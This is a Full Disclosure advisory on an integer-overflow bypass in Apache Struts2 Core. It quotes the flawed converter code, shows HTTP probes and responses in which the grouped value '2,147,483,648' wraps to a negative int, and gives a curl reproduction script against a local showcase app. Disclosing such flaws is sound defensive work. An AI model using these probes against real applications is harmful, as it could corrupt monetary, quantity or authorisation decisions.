Full Disclosure mailing list archives

Description
Apache Struts2 Core version 7.4.0 and below fails to properly prevent integer overflows, causing wrap-arounds and other 
issues on a downstream forced casting into types smaller than `BigInteger`.  Importantly, this finding underscores why 
all applications using Struts and other such platforms should perform their own input validation checks and not blindly 
assume that the upstream Struts2 code has done as such, but the finding also shows that input passed from the upstream 
provider may not faithfully represent what the user provided.

Impact
An attacker who can influence a parameter bound to a boxed `Byte`, `Short`, `Integer`, `Long`, or `Character` action 
property can submit a numeric string that is both out of range for the target type and formatted using the resolved 
locale's grouping separator (e.g. `"2,147,483,648"` under `en_US`) to make `isInRange` silently return `true` instead 
of correctly rejecting the value.  Since the swallowed `NumberFormatException` never reaches the caller, execution 
proceeds into `DefaultTypeConverter.convertValue`, where the oversized value is narrowed with an unchecked cast such as 
`(int) longValue(value)`, silently wrapping it into the target type's range ("2,147,483,648" becomes `-2147483648` for 
an `Integer` field) instead of raising the `TypeConversionException` the overflow guard is supposed to produce.  This 
lets a value the application assumes was range-validated reach downstream business logic as an unexpected negative, 
zero, or otherwise mismatched figure, which can corrupt quantity, monetary, identifier, or other numeric computations 
and any authorisation or business-rule decision that depends on the converted value being bounded and faithful to the 
caller's submitted intent.

Examples
Sample Code
`NumberConverter.convertValue`, in `core/src/main/java/org/apache/struts2/conversion/impl/NumberConverter.java`, parses 
a request string using a grouping-aware `NumberFormat` and then calls `isInRange` with the original, still-grouped 
string to confirm the parsed value is within bounds for the target numeric type; `isInRange` re-parses that same 
grouped string with `new BigInteger`, and its `catch` block treats the resulting `NumberFormatException` as 
confirmation that the value is in range.  Once `isInRange` has incorrectly reported that the value is acceptable, 
control returns to `NumberConverter.convertValue`, which delegates to `DefaultTypeConverter.convertValue`; for an 
`Integer`-typed target this narrows the value with an unchecked cast, producing the actual silent wraparound.

```java
            } else {
                if (stringValue.isEmpty()) {
                    return null;
                }
                NumberFormat numFormat = NumberFormat.getInstance(getLocale(context));
                ParsePosition parsePos = new ParsePosition(0);
                if (isIntegerType(toType)) {
                    numFormat.setParseIntegerOnly(true);
                }
                numFormat.setGroupingUsed(true);
                Number number = numFormat.parse(stringValue, parsePos);

                if (parsePos.getIndex() != stringValue.length()) {
                    throw new TypeConversionException("Unparseable number: \"" + stringValue + "\" at position "
                        + parsePos.getIndex());
                } else {
                    if (!isInRange(number, stringValue, toType))
                        throw new TypeConversionException("Overflow or underflow casting: \"" + stringValue + "\" into 
class " + number.getClass().getName());

                    value = super.convertValue(context, number, toType);
                }
            }
```
Code snippet from `struts2-core`'s core/src/main/java/org/apache/struts2/conversion/impl/NumberConverter.java, lines 
57-78

```java
            } else if (int.class == toType || Integer.class == toType) {
                bigValue = new BigInteger(stringValue);
                lowerBound = BigInteger.valueOf(Integer.MIN_VALUE);
                upperBound = BigInteger.valueOf(Integer.MAX_VALUE);
            } else if (long.class == toType || Long.class == toType) {
                bigValue = new BigInteger(stringValue);
                lowerBound = BigInteger.valueOf(Long.MIN_VALUE);
                upperBound = BigInteger.valueOf(Long.MAX_VALUE);
            } else {
                throw new IllegalArgumentException("Unexpected numeric type: " + toType.getName());
            }
        } catch (NumberFormatException e) {
            //shoult it fail here? BigInteger doesnt seem to be so nice parsing numbers as NumberFormat
            return true;
        }
```
Snippet from `struts2-core`'s core/src/main/java/org/apache/struts2/conversion/impl/NumberConverter.java, lines 209-222

```java
if ((toType == Integer.class) || (toType == Integer.TYPE))
    result = (int) longValue(value);
```
Code snippet from `struts2-core`'s core/src/main/java/org/apache/struts2/conversion/impl/DefaultTypeConverter.java, 
lines 122-123, showing the casting to `int` that causes the wrap-around

Sample Request-Response Pairs
`org.apache.struts2.showcase.ajax.Example5Action`, reachable via `/showcase/showcase/ajax/example5.action`, exposes a 
boxed `Integer age` property behind a `@StrutsParameter`-annotated setter, so the overflow guard bypass in 
`struts2-core` is reachable through this action's ordinary input binding.  The four live probes below, each issued on a 
freshly established session with devMode's `DebuggingInterceptor` set to `debug=command&expression=age` so that the 
bound value can be read straight off the per-request value stack, isolate the defect to the comma -- the first probe 
submits `Integer.MAX_VALUE + 1` with a grouping separator and receives the wrapped, unrelated negative value; the first 
control submits the identical magnitude without a comma and that is correctly rejected; the second control submits a 
genuinely in-range grouped value that converts correctly; and the third control submits a bare baseline value that 
converts correctly.

```http
GET 
/showcase/showcase/ajax/example5.action?age=2%2C147%2C483%2C648&name=overflow-grouped-probe&debug=command&expression=age
 HTTP/1.1
Host: 127.0.0.1:8383
```
A request containing a value too large to fit in an `int` -- `age=2,147,483,648` (`Integer.MAX_VALUE + 1`)

```http
HTTP/1.1 200
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 11

-2147483648
```
The server accepts the request and the parameter bypasses the overflow guard, is cast to an `int`, and wraps-around to 
`-2147483648` instead of raising a `TypeConversionException`

```http
GET /showcase/showcase/ajax/example5.action?age=2147483648&name=overflow-ungrouped-control&debug=command&expression=age 
HTTP/1.1
Host: 127.0.0.1:8383
```
A request containing a value too large to fit in an `int` -- `age=2147483648` -- but without a grouping separator

```http
HTTP/1.1 200
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 3154

<!-- ... --><html>...<title>Struts Problem Report</title>...
```
The server correctly rejects the value, catching the overflow

```http
GET /showcase/showcase/ajax/example5.action?age=1%2C234&name=in-range-grouped-control&debug=command&expression=age 
HTTP/1.1
Host: 127.0.0.1:8383
```
Control request -- `age=1,234` -- an in-range, comma-grouped number

```http
HTTP/1.1 200
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 4

1234
```
Response showing that numbers with commas that remain in-bounds stay as such and are properly interpreted

```http
GET /showcase/showcase/ajax/example5.action?age=42&name=baseline-control&debug=command&expression=age HTTP/1.1
Host: 127.0.0.1:8383
```
Control request -- `age=42` -- a bare baseline value

```http
HTTP/1.1 200
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 2

42
```
Response showing correct conversion, as one would expect

Steps to Reproduce
This is intended to run against a system using the showcase example.  Remember that the issue is locale-aware, so your 
grouping may not be via commas.

```zsh
#!/usr/bin/env zsh

BASE_URL="http://127.0.0.1 :8383/showcase/showcase/ajax/example5.action"

echo "=== Vulnerable probe: age=2,147,483,648 (Integer.MAX_VALUE + 1, comma-grouped) ==="
curl -i -s --get \
  --data-urlencode "age=2,147,483,648" \
  --data-urlencode "name=overflow-grouped-probe" \
  --data-urlencode "debug=command" \
  --data-urlencode "expression=age" \
  "$BASE_URL"

echo "\n\n=== Control 1: age=2147483648 (identical magnitude, no grouping separator) ==="
curl -i -s --get \
  --data-urlencode "age=2147483648" \
  --data-urlencode "name=overflow-ungrouped-control" \
  --data-urlencode "debug=command" \
  --data-urlencode "expression=age" \
  "$BASE_URL"

echo "\n\n=== Control 2: age=1,234 (genuinely in-range, comma-grouped) ==="
curl -i -s --get \
  --data-urlencode "age=1,234" \
  --data-urlencode "name=in-range-grouped-control" \
  --data-urlencode "debug=command" \
  --data-urlencode "expression=age" \
  "$BASE_URL"

echo "\n\n=== Control 3: age=42 (bare baseline) ==="
curl -i -s --get \
  --data-urlencode "age=42" \
  --data-urlencode "name=baseline-control" \
  --data-urlencode "debug=command" \
  --data-urlencode "expression=age" \
  "$BASE_URL"
```
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

Current thread:

• Apache Struts2 Core Integer Overflow Daniel Owens via Fulldisclosure (Nov 01)